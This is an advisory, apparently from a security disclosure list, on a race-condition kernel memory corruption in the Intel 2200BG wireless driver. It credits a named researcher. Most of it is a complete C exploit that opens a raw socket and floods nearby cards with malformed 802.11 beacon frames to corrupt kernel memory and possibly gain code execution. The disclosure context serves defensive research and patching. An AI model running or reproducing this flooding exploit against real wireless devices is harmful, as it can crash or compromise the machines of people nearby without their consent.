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Intel 2200BG 802.11 Beacon frame Kernel Memory Corruption

SUMMARY

The intel wireless mini-pci driver provided with Intel 2200BG cards is
vulnerable to a remote race condition memory corruption flaw. Malformed
beacons frame can be used to corrupt internal kernel structures,leading to
arbitrary code execution. This vulnerability is triggered when flooding
wifi card with many malformed beacons frame. The data is copied over
internal kernel structures, resulting in memory operations being performed
on attacker-controlled pointer values, like EIP values.

DETAILS

Vulnerable Systems:

• Intel 2200 driver version 9.0.3.9

Exploit:
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h >
#include <stdio.h>
#include <linux/wireless.h>

// Change BSSID and SRC MAC ADDR to AP you are associated

char beacon[] = { 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff,
0x00, 0x18, 0x39, 0xe2, 0x12, 0xda,0x00, 0x18, 0x39, 0xe2, 0x12, 0xda,
0x30, 0x2f, 0x84, 0x18, 0xa9, 0xf7, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00,
0x01, 0x04, 0x00, 0xff, 0x53, 0x41, 0x55, 0x4e, 0x41, 0x01, 0x08, 0x82,
0x84, 0x8b,0x96, 0x24, 0x30, 0x48, 0x6c, 0x04, 0x01, 0x08, 0x05, 0x04,
0x00, 0x01, 0x00, 0x00, 0x2a, 0x01,0x04, 0x2f, 0x01, 0x04, 0x32, 0x04,
0x0c, 0x12, 0x18, 0x60, 0xdd, 0x06, 0x00, 0x10, 0x18, 0x02,0x00, 0xf4,
0x08, 0xc1, 0xca, 0x93 };

int main() {
struct sockaddr_ll link;
struct ifreq iface;
int s, i, randd = 0x22, j, m, a, b;
unsigned long len = 0, c = 0;
char s_1[700+sizeof(beacon)];

if((s=socket(PF_INET, SOCK_DGRAM, 0))<0)
    return 0;

bzero(&iface,sizeof(iface));
bzero(&link,sizeof(link));
    bzero(s_1,sizeof(beacon));
    
strcpy( iface.ifr_name,"ath0raw");


if(ioctl(s,SIOCGIFHWADDR, &iface)) {
    return 0;
}

if(ioctl(s,SIOCGIFINDEX, &iface)) {
    return -1;

}
 
if((s=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)))<0) {
    return -1;
}

link.sll_family = AF_PACKET;
link.sll_ifindex = iface.ifr_ifindex;

if(bind(s,(struct sockaddr *) &link, sizeof(link))<0) {
    return -1;

}


       memcpy(s_1,beacon,sizeof(beacon));

randd = 0x44;

for(i=0;i<33;i++)
s_1[37+i] = 0x44;

for(;;)    {
        
        i = 147;
            for(j=0;j<i;j++)    {
                if(randd == 0xff)
                randd = 0x00;
                s_1[70+j] = randd++;
        }
        randd = 0x44;
        for(m=0;m<5;m++)    {
        len = sendto(s,s_1,strlen(beacon)+j, 0, NULL, 0);
        printf("Sent %d\n",len);
        }
}

close(s);

return 0;

}

ADDITIONAL INFORMATION

The information has been provided by <mailto:[email protected]> Breno
Silva Pinto (Open Communications Security).

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